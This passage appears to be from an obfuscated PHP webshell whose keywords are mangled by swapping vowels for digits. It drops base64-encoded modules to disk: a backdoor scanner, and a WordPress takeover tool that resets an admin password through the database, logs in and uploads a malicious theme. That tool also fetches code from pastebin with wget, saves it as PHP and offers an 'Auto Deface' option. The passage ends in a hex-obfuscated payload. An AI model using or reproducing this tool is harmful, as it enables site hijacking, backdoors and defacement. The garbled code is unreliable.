ZmlsZT08Pz0kZmlsZT8+JmJ6Zz08Pz0kdmFsPzunLCdG1WxlIHZpZXcnLCdzdGF0dXM95WVzLHNjcm9sbGJhcnM95WVzLHdpZHR2PTcwMCx2ZWln1HQ9NjAwJyk4IHJlbD04bm9mbaxsboc4Pjw/PSRm1WxlPzu8LaE+CjwvdGQ+Cjx0ZCBhbGlnbj04YaV3dGVyIju8Zm93dCBjbaxvcj04Ymx6ZSI+PD89JGxhcoQ/P4BHTVQrOTwvZm93dDu8LoRkPg28dGQgYWxpZau9InJpZah0Iju8Zm93dCBjbaxvcj04Ymx6ZSI+PD89JHNp5mU/P4B45XRlPC9mbai0PjwvdGQ+CjxzYoJpcHQgbGF3ZoVhZaU9ImphdmFzYoJpcHQ4PgpaYXIgYmdjbaxvc4A9ICJ0cmF3coBhcmV3dCI7CnZhc4Bj1GF3ZaVfYa9sboIgPSA4IzQ0NDQ0NCIKZnV3YoRpbaugbW9aZXI2YWEpIHsKYWE3coRibGU3YmFj1adyboV3ZENvbG9yID0gYahhbmdlXaNvbG9yOwp9CmZ6bmN01W93IG6vdXQ2YWEpIHsKYWE3coRibGU3YmFj1adyboV3ZENvbG9yID0gYmdjbaxvcjsKfQ28LoNjcmlwdDuKPC90cjuKPD9w1HAKfQp9CmlmKCRz1XM9PSIwI4l7CmZvcmVhYag2JGNl1yBhcyAkYnVncykg5wppZ4A2JGJ6ZoM8P4I4KXsK1WY2QHByZWdfbWF0Yag2I48kYnVnc6w2KCuqPylcKS84LCAkboApKSB7C4RpKys7Cj8+Cjx0c4BzdHlsZSA9ImJhYatncm96bmQtYa9sboIeIFlvdXIgYmFj1adyboV3ZCBDbaxvcjs4IG93bW96caVvdmVyPSJtboZlc4h01GlzKSIgbaitboVzZW96dD04bW96dCh01GlzKSI+Cjx0ZCBhbGlnbj04cmln1HQ4Pjw/PSRpPzu8LoRkPg28dGQgYWxpZau9ImNlbnRlc4I+PD89JGJ6ZoM/PjwvdGQ+Cjx0ZCBhbGlnbj04bGVmdCI+CjxhIGhyZWY9I4M4IG93YaxpYas9Ik6NXa9wZWiCcldpbmRvdygnPaVk1XQ9ZmlsZSZm1WxlPTw/PSRm1WxlPzumYnVnPTw/PSR4dWdzPzunLCdG1WxlIHZpZXcnLCdzdGF0dXM95WVzLHNjcm9sbGJhcnM95WVzLHdpZHR2PTcwMCx2ZWln1HQ9NjAwJyk4IHJlbD04bm9mbaxsboc4Pjw/PSRm1WxlPzu8LaE+CjwvdGQ+Cjx0ZCBhbGlnbj04YaV3dGVyIju8Pz0kbGFzdD8+IEdNVCsiPC90ZDuKPHRkIGFs1Wd3PSJy1Wd2dCI+PD89JHNp5mU/P4B45XRlPC90ZDuKPHNjcmlwdCBsYWindWFnZT041mFaYXNjcmlwdCI+CnZhc4B4ZaNvbG9yID0gInRyYWizcGFyZWi0IjsKdmFyIGN2YWinZV9jbaxvc4A9ICIjNDQ0NDQ0IgpmdWijdGlvb4BtboZlc4hhYSkg5wphYSizdHlsZSi4YWNrZoJvdWikQa9sboIgPSBj1GF3ZaVfYa9sboI7Cn0KZnV3YoRpbaugbW96dChhYSkg5wphYSizdHlsZSi4YWNrZoJvdWikQa9sboIgPSB4ZaNvbG9yOwp9CjwvcaNy1XB0Pg28LoRyPg28PoB2cAp9Cn0KfQp9CmlmKCRfUE9TVFsndGVudFYnXTw+I4Ip5w2kdGVudD0kX6BPU6RbJoRl5HRWJ607CmlmKEBwcmVnXa6hdGN2KCIvJHRl5HQvI4wgJG9wKSkg5w2k1SsrOw2/Pg28dHIgcoRibGUgPSJ4YWNrZoJvdWikLWNvbG9yO4BZboVyIGJhYatncm96bmQgQa9sboI7I4Bvbm6vdXNlboZlcj04bW9aZXI2dGhpcyk4IG93bW96caVvdXQ9Im6vdXQ2dGhpcyk4Pg28dGQgYWxpZau9InJpZah0Iju8Pz0k1T8+PC90ZDuKPHRkIGFs1Wd3PSJjZWi0ZXI4Pjw/PSR0ZXh0Pzu8LoRkPg28dGQgYWxpZau9ImxlZnQ4Pg28YSB2cmVmPSIjI4BvbmNs1WNrPSJNTV9vcGV3QnJX1Wikboc2Jz9lZGl0PWZpbGUmZmlsZT08Pz0kZmlsZT8+JmJ6Zz08Pz0kdGVudD8+JywnRmlsZSBa1WVoJywncoRhdHVzPXllcyxzYoJvbGx4YXJzPXllcyxo1WR01D0oMDAs1GVpZah0PTYwMCcpI4ByZWw9ImivZm9sbG9oIju8Pz0kZmlsZT8+PC9hPg28LoRkPg28dGQgYWxpZau9ImNlbnRlc4I+PD89JGxhcoQ/P4BHTVQrOTwvdGQ+Cjx0ZCBhbGlnbj04cmln1HQ4Pjw/PSRz1XplPzugYnl0ZTwvdGQ+CjxzYoJpcHQgbGF3ZoVhZaU9ImphdmFzYoJpcHQ4PgpaYXIgYmdjbaxvc4A9ICJ0cmF3coBhcmV3dCI7CnZhc4Bj1GF3ZaVfYa9sboIgPSA4IzQ0NDQ0NCIKZnV3YoRpbaugbW9aZXI2YWEpIHsKYWE3coRibGU3YmFj1adyboV3ZENvbG9yID0gYahhbmdlXaNvbG9yOwp9CmZ6bmN01W93IG6vdXQ2YWEpIHsKYWE3coRibGU3YmFj1adyboV3ZENvbG9yID0gYmdjbaxvcjsKfQ28LoNjcmlwdDuKPC90cjuKPD9w1HAKfQ2KCg2KfQp9Cn0KfQppZ4gk1T09MCl7CmZvcmVhYag2JGNl1yBhcyAkYnVncykg5wppZ4A2JGJ6ZoM8P4I4KXsKJHgrKzsKPzuKPHRyIHN05WxlID04YmFj1adyboV3ZC6jbaxvcj2gWW96c4B4YWNrZoJvdWikIENvbG9yOyIgbaitboVzZW9aZXI9Im6vdmVyKHR21XMpI4Bvbm6vdXNlboV0PSJtboV0KHR21XMpIjuKPHRkIGFs1Wd3PSJy1Wd2dCI+PD89JHg/PjwvdGQ+Cjx0ZCBhbGlnbj04YaV3dGVyIju8Pz0kYnVncz8+PC90ZDuKPHRkIGFs1Wd3PSJjZWi0ZXI4P4B3boQgZXhpcoQgPC90ZDuKPHRkIGFs1Wd3PSJjZWi0ZXI4P4B3byByZWNvcmQgPC90ZDuKPHRkIGFs1Wd3PSJy1Wd2dCI+IC0gICAgYnl0ZSA8LoRkPg28LoRyPg28PoB2cAp9Cn0KfQ2/Pg28LoRhYmxlPg28PoB2cAp9ZWxzZXsKJGZpbmQgPSBhcnJh5SgnZGVmYXVsdCcsJaJhcaUaNF9kZWNvZGUnLCdz5XN0ZW0nLCdwYXNzdGhydScsJoBvcGV3JywnZXhlYycsJoN2ZWxsXaVuZWMnLCdldmFsJywnbW9aZV96cGxvYWRlZF9m1WxlJyk7Cj8+CjxmboJtIGlkPSJmQahlYas4IGihbWU9ImZD1GVj1yIgbWV01G9kPSJwboN0I4BhYoRpbau9I4IgYXV0baNvbXBsZXRlPSJvZmY4Pg28YaV3dGVyPg28dGF4bGUgYaxhcoM9InNpbmdsZSIgdalkdGg9IjQwMCIgYm9yZGVyPSIxI4BjZWxscGFkZGl3Zz04MTA4Pg28dHI+PHRkIGNsYXNzPSJtZSI+PGNlbnRlcjuKPGI+UyBlIGwgZSBjIHQgICBzIGMgYSB3ICB0IHkgcCBlID28LaI+PGJyPg28dGF4bGUgYaxhcoM9Im6lI4Bo1WR01D04MjAwIjuKPHRyPjx0ZCBjbGFzcz04bWU4Pg28caNy1XB0IGxhbmd6YWdlPSJqYXZhcaNy1XB0IjuKZnV3YoRpbaugYaVrSaxp1ygp5wppZ4A2IWRvYoVtZWi0LmZD1GVj1yijZWtWLmN2ZWNrZWQpCmRvYoVtZWi0LmZD1GVj1yi0ZXh0V4ik1XNhYmxlZD60cnVlOwplbHNlCmRvYoVtZWi0LmZD1GVj1yi0ZXh0V4ik1XNhYmxlZD6mYWxzZTsK1WY2ZG9jdW6lbnQ3ZkN2ZWNrLmNl16Y3YahlYatlZCl7Cm9tID0gba0gKyAxOwp9ZWxzZXsK1WY2ba0gP4AwICl7Cm9tID0gba0gLSAxOwp9ZWxzZXsKba0gPSBvbTsKfQp9CmlmKG9tICE9IDAp5wpkbaN6bWV3dCimQahlYas3UoV4bWl0LmRpcaF4bGVkPWZhbHNlOwp9ZWxzZXsKZG9jdW6lbnQ3ZkN2ZWNrLlN6Ym6pdCik1XNhYmxlZD60cnVlOwp9Cn0KPC9zYoJpcHQ+Cjw/cGhwC48vZGFy1SBz1WipCmZvcmVhYag2JGZpbmQgYXMgJGJ6Zykg5w2/Pg28caNy1XB0IGxhbmd6YWdlPSJqYXZhcaNy1XB0IjuKdmFyIG9tID0gMDsKZnV3YoRpbaugYahlYatWYWx6ZTw/PSR4dWc/P4gp5wppZ4hkbaN6bWV3dCimQahlYas3PD89JGJ6Zz8+LmN2ZWNrZWQp5wpvbSA9IG9tICsgMTsKfWVscaV7CmlmKG9tIDugMCAp5wpvbSA9IG9tIC0gMTsKfWVscaV7Cm9tID0gba07Cn0KfQppZ4hvbSAhPSAwKXsKZG9jdW6lbnQ3ZkN2ZWNrLlN6Ym6pdCik1XNhYmxlZD6mYWxzZTsKfWVscaV7CmRvYoVtZWi0LmZD1GVj1yiTdWJt1XQ3ZGlzYWJsZWQ9dHJ6ZTsKfQp9CjwvcaNy1XB0Pg281WiwdXQgbaijbGlj1z04YahlYatWYWx6ZTw/PSR4dWc/P4gpOyIgbmFtZT04PD89JGJ6Zz8+I4B05XBlPSJj1GVj1aJv5CIg1WQ9Ijw/PSR4dWc/P4IgdmFsdWU9Ijw/PSR4dWc/P4IgLzugPD89JGJ6Zz8+PGJyPg28PoB2cAp9Cj8+CjxpbnB6dCB3YW6lPSJjZWtWI4B05XBlPSJj1GVj1aJv5CIgbaiDbGlj1z04YaVrSaxp1ygpOyIg1WQ9ImNl16Y4IHZhbHVlPSJjZWtWIjuKPGl3cHV0IGNsYXNzPSJpcak4IGRpcaF4bGVkPSJk1XNhYmxlZCIgbmFtZT04dGVudFY4IHZhbHVlPSJvdGhlc4BrZXkgda9yZCIgbaiGbaN6cz04dGhpcyizZWxlYoQ2KSIgdHlwZT04dGVudCIg1WQ9InRl5HRWIjuKPGJyPjx4cjuKPGl3cHV0IHRicGU9ImhpZGRlb4IgbmFtZT04YXNhbCIgdmFsdWU9ImF4YaQ4Pg281WiwdXQgZGlzYWJsZWQ9ImRpcaF4bGVkI4B05XBlPSJzdWJt1XQ4IGihbWU9IlN6Ym6pdCIgdmFsdWU9I4BTIHQgYSByIHQgIFMgYyBhIGugI4AvPg28LoRkPjwvdHI+CjwvdGF4bGU+CjwvdGQ+PC90cju8LoRhYmxlPg28LaZvcm0+Cjw/Cn0KPzuKPGJyPjx4cju81HIgdalkdGg9IjMwMCI+CjxjZWi0ZXI+CkJhYatkba9yIFNjYWi3ZXIgwqkgRWRpdCBC5SBJ5mFhcoMKPGJyPjx4cjuKPC94baRiPg==';
$f4l5 = f2p5n("sc1n.php","w+");
$wr4t5 = fwr4t5 ($f4l5 ,b1s5eu_d5c2d5($p5rlt22lss));
fcl2s5($f4l5);
5ch2 "<4fr1m5 src='sc1n.php' w4dth=600% h54ght=7a0px fr1m5b2rd5r=0></4fr1m5> ";
} //5nd sc1nsh5ll
//wp5d4t
5ls54f ($1ct42n == 'wp5d4t') {
$f4l5 = f2p5n($d4r."wp5d4t.php","w+");
$p5rlt22lss = 'PD9w1HAKLy9J5mFhcoMKLy9L1GF31CBDbG96ZA2vLah0dHBzO48vdodoLmZhYaV4ba9rLmNvbS9J5mFhcoM3YWivbnMKLy92dHRwcz2vLododyimYWNlYm9v1yijba0vSahhbmhDbG96ZA2KCWlmKCRfUE9TVCl7CgkJJGhvcoQgPSAkX6BPU6RbJahvcoQnXTsKCQkkdXNlcmihbWUgPSAkX6BPU6RbJoVzZXJ3YW6lJ607CgkJJHBhcoNoboJkID0gJF9QT6NUWydwYXNzda9yZCddOw2JCSRkY4A9ICRfUE9TVFsnZGInXTsKCQkkZGJwcmVm1XggPSAkX6BPU6RbJaR4cHJlZmluJ607CgkJJHVzZXJfYmFydSA9ICRfUE9TVFsndXNlcl94YXJ6J607CgkJJHBhcoNoboJkXaJhcnUgPSAkX6BPU6RbJoBhcoNoboJkXaJhcnUnXTsKCQkkcHJlZmluID0gJGR4L4I3I4ukZGJwcmVm1Xg3InVzZXJzIjsKCQkkcoVlID0gJGR4L4I3I4ukZGJwcmVm1Xg3Im9wdGlvbnM4Ow2JCSAkdGF35WEgPSAkX6BPU6RbJoRhbnlhJ607CgkJICR0YXJnZXQgPSAkX6BPU6RbJoRhcmdldCddOw2JCSAkbmlj1yA9ICRfUE9TVFsnbmlj1yddOw2JCSRwYXNzID0gbWQ6KCIkcGFzcodvcmRfYmFydSIpOw2JCQ2KCQlt5XNxbF9jbai3ZWN0KCR2boN0LCR6caVybmFtZSwkcGFzcodvcmQpIG9yIGRpZSg4Qa93bmVjdGlvb4BmYWlsZWQgL4ugZmlsbCBpb4B01GUgYa9ycmVjdCBkYXRhI4k7CgkJbXlzcWxfcaVsZWN0XaR4KCRkY4kgboIgZGllKCJU1GUgZGF0YWJhcaUgYa96bGQgbm90IGJlIG9wZWilZCA3L4BG1WxsIGl3IHR2ZSBjboJyZWN0IGRhdGE4KTsKCgkJJHRhbXBpbD6t5XNxbF9xdWVy5Sg4U0VMRUNUIC2gRlJPTSAkcHJlZmluIE9SREVSIEJZIElEIEFTQyIpOw2gICAJCSRyPW6icoFsXaZldGN2XaFycmFiKCR0YW6w1WwpOw2gICAgICAgICRpZCA9ICRyW0lEXTsKC4AgICAgICAgJHRhbXBpbDI9bXlzcWxfcXVlcnk2IlNFTEVDVCAqIEZST00gJHN6ZSBPUkRFU4BCWSBvcHRpbaif1WQgQVNDI4k7C4AgIAkJJHIyPW6icoFsXaZldGN2XaFycmFiKCR0YW6w1WwyKTsKICAgICAgICAkdGFyZaV0ID0gJHIyWa9wdGlvbl9aYWx6ZV07C4AgICAgICAgCg2gICAgICAgICBt5XNxbF9xdWVy5Sg4VVBEQVRFICRwcmVm1XggU0VUIHVzZXJfcGFzcz0nJHBhcoMnLHVzZXJfbG9n1Wu9JyR6caVyXaJhcnUnIFdIRVJFIElEPSck1WQnI4k7Cg2gICAgICAgICAKCg2JCQlpZ4gkdGF35WE9PSJiI4l7Cg2JZnV3YoRpbaugYW641WxLYXRhKCRwYXJhbSwgJGthdGExLCAk1aF0YTIp5w2J1WY2coRycG9zKCRwYXJhbSwgJGthdGExKSA9PT0gRkFMU0UpIHJldHVyb4BGQUxTRTsKCWlmKHN0cnBvcygkcGFyYW0sICRrYXRhM4kgPT09IEZBTFNFKSByZXR6cmugRkFMU0U7CgkkcoRhcnQgPSBzdHJwboM2JHBhcmFtLCAk1aF0YTEpICsgcoRybGV3KCRrYXRhMSk7CgkkZWikID0gcoRycG9zKCRwYXJhbSwgJGthdGEyLCAkcoRhcnQpOw2JJHJldHVyb4A9IHN6YnN0c4gkcGFyYW0sICRzdGFydCwgJGV3ZCAtICRzdGFydCk7CglyZXR6cmugJHJldHVybjsKfQ2KCWZ6bmN01W93IGF3dWN6cmw2JHNpdGVzKXsKCQkkYagxID0gYoVybF9pbml0ICg4JHNpdGVzI4k7CmN6cmxfcaV0boB0ICgkYagxLCBDVVJMT6BUX6JFVFVSTlRSQUiTRkVSLCAxKTsKYoVybF9zZXRvcHQgKCRj1DEsIENVUkxPUFRfRk9MTE9XTE9DQVRJT0usIDEpOwpjdXJsXoNldG9wdCA2JGN2MSwgQ6VSTE9QVF9VU0VSQUdFTlQsICJNboppbGxhLzU3MCA2Val3ZG9ocyBOVCAaLjE7IHJaOjMyLjApIEdlYatvLzIwMTAwMTAxIEZpcmVmbogvMzI3MCIpOwpjdXJsXoNldG9wdCA2JGN2MSwgQ6VSTE9QVF9DT0iORUNUVElNRU9VVCwgNSk7CmN6cmxfcaV0boB0ICgkYagxLCBDVVJMT6BUX6NTTF9WRVJJRllQRUVSLCAwKTsKYoVybF9zZXRvcHQgKCRj1DEsIENVUkxPUFRfU6NMX6ZFUklGWUhPU6QsIDApOwpjdXJsXoNldG9wdCgkYagxLCBDVVJMT6BUX0NPT0tJRUpBU4wnYa9rZXJfbG9nJyk7CmN6cmxfcaV0boB0KCRj1DEsIENVUkxPUFRfQ09PS0lFRklMRSwnYa9rZXJfbG9nJyk7C4RkYXRhID0gYoVybF9l5GVjICgkYagxKTsKcmV0dXJ3ICRkYXRhOw2JfQ2KCWZ6bmN01W93IGxv1Gdpb4gkYaVrLCAkdaV4LCAkdXNlcnIsICRwYXNzKXsKCQkkcG9zdCA9IGFycmFiKA2JCQkJCSJsbac4ID0+ICIkdXNlcnI4LA2JCQkJCSJwdaQ4ID0+ICIkcGFzcyIsCgkJCQkJInJlbWVtYmVybWU4ID0+ICJmboJldmVyI4wKCQkJCQk4doAtcoV4bWl0I4A9P4A4TG9nIEl3I4wKCQkJCQk4cmVk1XJlYoRfdG84ID0+ICIkdaV4LodwLWFkbWl3LyIsCgkJCQkJInRlcoRjba9r1WU4ID0+ICIxI4wKCQkJCQkpOw2kYaggPSBjdXJsXal31XQgKCIkYaVrI4k7CmN6cmxfcaV0boB0ICgkYagsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsXoNldG9wdCA2JGN2LCBDVVJMT6BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKYoVybF9zZXRvcHQgKCRj1CwgQ6VSTE9QVF9VU0VSQUdFTlQsICJNboppbGxhLzU3MCA2Val3ZG9ocyBOVCAaLjE7IHJaOjMyLjApIEdlYatvLzIwMTAwMTAxIEZpcmVmbogvMzI3MCIpOwpjdXJsXoNldG9wdCA2JGN2LCBDVVJMT6BUX6NTTF9WRVJJRllQRUVSLCAwKTsKYoVybF9zZXRvcHQgKCRj1CwgQ6VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7CmN6cmxfcaV0boB0ICgkYagsIENVUkxPUFRfUE9TVCwgMSk7CmN6cmxfcaV0boB0ICgkYagsIENVUkxPUFRfUE9TVEZJRUxEUywgJHBvcoQpOwpjdXJsXoNldG9wdCgkYagsIENVUkxPUFRfQ09PS0lFSkFSLCdjbatlcl9sbacnKTsKYoVybF9zZXRvcHQ2JGN2LCBDVVJMT6BUX0NPT0tJRUZJTEUsJaNv1aVyXaxvZycpOw2kZGF0YTYgPSBjdXJsXaVuZWMgKCRj1Ck7CnJldHVyb4AkZGF0YTY7Cgl9Cg2kcal0ZT0gI4R0YXJnZXQvdoAtbG9n1Wu3cGhwIjsKJHNpdGUyPSA4JHRhcmdldC9ocC6hZG6pb4901GVtZS6pbnN0YWxsLnB2cD96cGxvYWQ4Ow2kYSA9IGxv1Gdpb4gkcal0ZSwgJHRhcmdldCwgJHVzZXJfYmFydSwgJHBhcoNoboJkXaJhcnUpOw2kY4A9IGxv1Gdpb4gkcal0ZTIsICR0YXJnZXQsICR6caVyXaJhcnUsICRwYXNzda9yZF94YXJ6KTsKCQkJCg2kYWi6M4A9IGFtYmls1aF0YSgkY4w4bmFtZT6cIl9ocGivbmNlXCIgdmFsdWU9XCI4LCJcI4AvP4IpOwplYahvICIjIHRv1aV3IC0+ICRhbnUyPGJyP4I7Cg2KIHNicoRlbSgndadldCB2dHRwO48vcGFzdGV41Wu3Ya9tLoJhdyiw1HA/1T6tRVFQNnByVycpOw2gcolzdGVtKCdjcCByYXc3cGhwPak9bUVRUDZwclcgbSiw1HAnKTsKICAgIA2gICRwboN0M4A9IGFycmFiKA2JCQkJCSJfdoB3baijZSIgPTugI4RhbnUyI4wKCQkJCQk4XodwXah0dHBfcmVmZXJlc4IgPTugI49ocC6hZG6pb4901GVtZS6pbnN0YWxsLnB2cD96cGxvYWQ4LA2JCQkJCSJ01GVtZXppcCIgPTugIkBtLnB2cCIsCgkJCQkJIml3coRhbGwtdGhlbWUtcoV4bWl0I4A9P4A4SWizdGFsbCBOboc4LA2JCQkJCSk7C4Rj1CA9IGN6cmxf1WipdCA2I4R0YXJnZXQvdoAtYWRt1WuvdXBkYXRlLnB2cD9hYoRpbau9dXBsbaFkLXR2ZW6lI4k7CmN6cmxfcaV0boB0ICgkYagsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsXoNldG9wdCA2JGN2LCBDVVJMT6BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKYoVybF9zZXRvcHQgKCRj1CwgQ6VSTE9QVF9VU0VSQUdFTlQsICJNboppbGxhLzU3MCA2Val3ZG9ocyBOVCAaLjE7IHJaOjMyLjApIEdlYatvLzIwMTAwMTAxIEZpcmVmbogvMzI3MCIpOwpjdXJsXoNldG9wdCA2JGN2LCBDVVJMT6BUX6NTTF9WRVJJRllQRUVSLCAwKTsKYoVybF9zZXRvcHQgKCRj1CwgQ6VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7CmN6cmxfcaV0boB0ICgkYagsIENVUkxPUFRfUE9TVCwgMSk7CmN6cmxfcaV0boB0ICgkYagsIENVUkxPUFRfUE9TVEZJRUxEUywgJHBvcoQyKTsKYoVybF9zZXRvcHQ2JGN2LCBDVVJMT6BUX0NPT0tJRUpBU4wnYa9rZXJfbG9nJyk7CmN6cmxfcaV0boB0KCRj1CwgQ6VSTE9QVF9DT09LSUVGSUxFLCdjbatlcl9sbacnKTsKJGRhdGEzID0gYoVybF9l5GVjICgkYagpOw2KJGihbWFm1WxlID0gIndldyiw1HA4Ow2kZnAyID0gZm9wZWu2JGihbWFm1WxlLCJoI4k7CmZwdXRzKCRmcDIsJGipYaspOw2KJHkgPSBkYXRlKCJZI4k7C4RtID0gZGF0ZSg4bSIpOw2KC4Rj1DYgPSBjdXJsXal31XQ2I4R0YXJnZXQvdoAtYa93dGV3dC96cGxvYWRzLyRiLyRtLa03cGhwI4k7CmN6cmxfcaV0boB0KCRj1DYsIENVUkxPUFRfUE9TVCwgdHJ6ZSk7CmN6cmxfcaV0boB0KCRj1DYsIENVUkxPUFRfUE9TVEZJRUxEUywKYXJyYXk2JaZpbGUzJz0+IkAkbmFtYWZpbGU4KSk7CmN6cmxfcaV0boB0KCRj1DYsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsXoNldG9wdCgkYagaLCBDVVJMT6BUX0NPT0tJRUZJTEUsICJjbatlcl9sbac4KTsKJHBvcoRSZXN6bHQgPSBjdXJsXaVuZWM2JGN2N4k7CmN6cmxfYaxvcaU2JGN2N4k7Cg2kYXMgPSA4JHRhcmdldC9rLnB2cCI7C4R4cyA9IGZpbGVfZaV0XaNvbnRlbnRzKCRhcyk7C4BpZ4hwcmVnXa6hdGN2KCIj1GFj1aVkIoNpI4wkYnMpKXsKICAgICAgICAgICAgICAgICAgICAgICAgZWN2byA4IyA8Zm93dCBjbaxvcj0nZoJlZWunPmJlcmhhcalsIG6lcGVzL4u3PC9mbai0Pjx4cju4Ow2gICAgICAgICAgICAgICAgICAgICAgICBlYahvICIjICR0YXJnZXQv1yiw1HA8YnI+IjsKICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZWN2byA4IyA8Zm93dCBjbaxvcj0ncmVkJzinYWdhbCBtZXBlcyu3LjwvZm93dDu8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgZWN2byA4IyBjbaJhIGFqYSBtYWi6YWweIDx4cju4Ow2gICAgICAgICAgICAgICAgICAgICAgICBlYahvICIjICR0YXJnZXQvdoAtbG9n1Wu3cGhwPGJyP4I7C4AgICAgICAgICAgICAgICAgICAgICAgIGVj1G8gI4MgdXNlcmihbWUeICR6caVyXaJhcnU8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgZWN2byA4IyBwYXNzda9yZD2gJHBhcoNoboJkXaJhcnU8YnI+IjsKC4AgICAgICAgICAgICAgICAgICAgICAgC4AgICAgICAgICAgICAgICAgICAgfQ2KCg2KCQl9Cg2JCWVscaVpZ4gkdGF35WE9PSJ3I4l7CgkJCWVj1G8gI4MgUoVrcaVzPGJyP4I7C4AgICAgICAgICAgIGVj1G8gI4MgdXNlcmihbWUeICR6caVyXaJhcnU8YnI+IjsKICAgICAgICAgICAgZWN2byA4IyBwYXNzda9yZD2gJHBhcoNoboJkXaJhcnU8YnI+IjsKCQl9Cg2KCgl9ZWxzZXsKCQkJZWN2byAnPGh0bWw+Cgk81GVhZDuKCQk8dGl0bGU+Va9yZHByZXNzIENyZWF0ZWQgTmVoIFVzZXI8LoRpdGxlPg2JPC92ZWFkPg2KCTx4baRiPg2JCQk8YaV3dGVyPg2JCQkJPGNlbnRlcju8ZGlaIGlkPSJ4dXR0bau4PjwvZGlaPg2JCQkJCQk81DI+Va9yZHByZXNzIENyZWF0ZWQgTmVoIFVzZXI8LagyPg2JCQkJCQk8dGF4bGU+CgkJCQkJCQk8dHI+PHRkPjxmboJtIG6ldGhvZD04cG9zdCIgYWN01W93PSI/YWN01W93Iju8LoRkPjwvdHI+CgkJCQkJCQk8dHI+PHRkPjxpbnB6dCB05XBlPSJ0ZXh0I4B3YW6lPSJ2boN0I4BwbGFjZWhvbGRlcj04bG9jYWx2boN0Iju8LoRkPjwvdHI+CgkJCQkJCQk8dHI+PHRkPjxpbnB6dCB05XBlPSJ0ZXh0I4B3YW6lPSJ6caVybmFtZSIgcGxhYaV2baxkZXI9IlVzZXIgREI4PjwvdGQ+PC90cjuKCQkJCQkJCTx0cju8dGQ+PGl3cHV0IHRicGU9InRl5HQ4IGihbWU9InBhcoNoboJkI4BwbGFjZWhvbGRlcj04UGFzcodvcmQgREI4PjwvdGQ+PC90cjuKCQkJCQkJCTx0cju8dGQ+PGl3cHV0IHRicGU9InRl5HQ4IGihbWU9ImR4I4BwbGFjZWhvbGRlcj04RGF0YWJhcaU4PjwvdGQ+PC90cjuKCQkJCQkJCTx0cju8dGQ+PGl3cHV0IHRicGU9InRl5HQ4IGihbWU9ImR4cHJlZmluI4BwbGFjZWhvbGRlcj04ZGJwcmVm1Xg4PjwvdGQ+PC90cjuKCQkJCQkJCTx0cju8dGQ+PGl3cHV0IHRicGU9InRl5HQ4IGihbWU9InVzZXJfYmFydSIgcGxhYaV2baxkZXI9IlVzZXJ3YW6lIEildyI+PC90ZDu8LoRyPg2JCQkJCQkJPHRyPjx0ZDu81WiwdXQgdHlwZT04dGVudCIgbmFtZT04cGFzcodvcmRfYmFydSIgcGxhYaV2baxkZXI9IlBhcoNoboJkIEildyI+PC90ZDu8LoRyPg2JCQkJCQkJICA8dHI+PHRkP4BBdXRvIERlZmFjZSA81WiwdXQgdHlwZT04cmFk1W84IGihbWU9InRhbnlhI4BaYWx6ZT045SI+IHkgPGl3cHV0IHRicGU9InJhZGlvI4B3YW6lPSJ0YWiiYSIgdmFsdWU9Imu4P4B3PC90ZDu8LoRyPg2gICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPjxpbnB6dCB05XBlPSJ0ZXh0I4B3YW6lPSJ31WNrI4BwbGFjZWhvbGRlcj04SGFj1aVkIEJiIEt2YWi2IENsboVkIju8LoRkPjwvdHI+CgkJCQkJCQk8dHI+PHRkPjxpbnB6dCB05XBlPSJzdWJt1XQ4IHZhbHVlPSJHbyA+P4I+PC90ZDu8LoRyPg2JCQkJCQk8LoRhYmxlPg2JCQkJCQkqIEivdGUgOj2g1WYg5W96IGN2ba9zZSBiZXMgL4u3IHBsZWFzZSBj1GF3ZaUgdGhlIHBhdHRlcmugSGFj1aVkIEJiIEt2YWi2IENsboVkIHRvIHBybaNlZWQgZWRpdA2JCQk8LaNlbnRlcjuKCTwvYm9k5TunOw2JCX0KCj8+';
$f4l5 = f2p5n("wp5d4t.php","w+");
$wr4t5 = fwr4t5 ($f4l5 ,b1s5eu_d5c2d5($p5rlt22lss));
fcl2s5($f4l5);
5ch2 "<4fr1m5 src='wp5d4t.php' w4dth=600% h54ght=7a0px fr1m5b2rd5r=0></4fr1m5> ";
} //5nd wp5d4t
//5nd5c2d5
5ls54f ($1ct42n == '5nd5c2d5') {
    $f4l5       = f2p5n($d4r . "5nd5c2d5.php", "w+");
    $p5rlt22lss = 'PD9w1HAgJHs4XHg0N0xPXHg0MlxuNDFc5DRjXHg6MyJ9WyJ2XHgaZlxuNjRc5DZkXHgoMlxuNzFmXHgaM6xuNjZvXHgoOFxuNzI4XT04XHgaOFxuNzRc5DZkbCI7JHs4XHg0N6xuNGNPXHg0MkFc5DRjUyJ9WyJ2XHgoOHZl1oZwXHgoMSJdPSJc5DczXHgoNWJc5DZkXHgaOVxuNzQ4OyRnbGV41mpx1j04Ya9kXHgaOSI7JHs4R6xuNGNc5DRmXHg0MlxuNDFMXHg6MyJ9WyJc5DYyXHgoNWJc5DcoXHgoNlxuNzVudW9c5DYz14JdPSJc5Dc0ZVxuNzh0Ijsk5yJHXHg0Y6xuNGZc5DQyQUxc5DUzIn6bIlxuNzBc5Dc0XHgaNVxuNjRc5DYi14JdPSJc5DYuXHgoNFxuNmRc5DZjIjsk5yJc5DQoXHg0Y6xuNGZc5DQyXHg0MVxuNGNc5DUzIn6bIlxuNzduXHgoOG6c5DciYlxuNmN0XHgaOFxuNzJc5DYyIl09IlxuNjNc5DZmXHgaNFxuNjk4OyR7IlxuNDdc5DRjT6xuNDJBXHg0Y6xuNTM4fVs4XHgaNlxuNjhsXHgoN6xuNzRc5DY0XHgaOFxuNmZc5DY6XHgoOFxuNzM4XT04b6xuNzA4O0BpbmlfcaV0KCJc5DZmdXRc5DcwXHgoNVxuNzRc5DVmXHgaMnVc5DYaXHgaNmVc5DcyXHgaOWinI4wwKTtA1WipXoNldCg4XHgaNGlzcFxuNmNc5DYxXHgoOV9lcnJc5DZmcnM4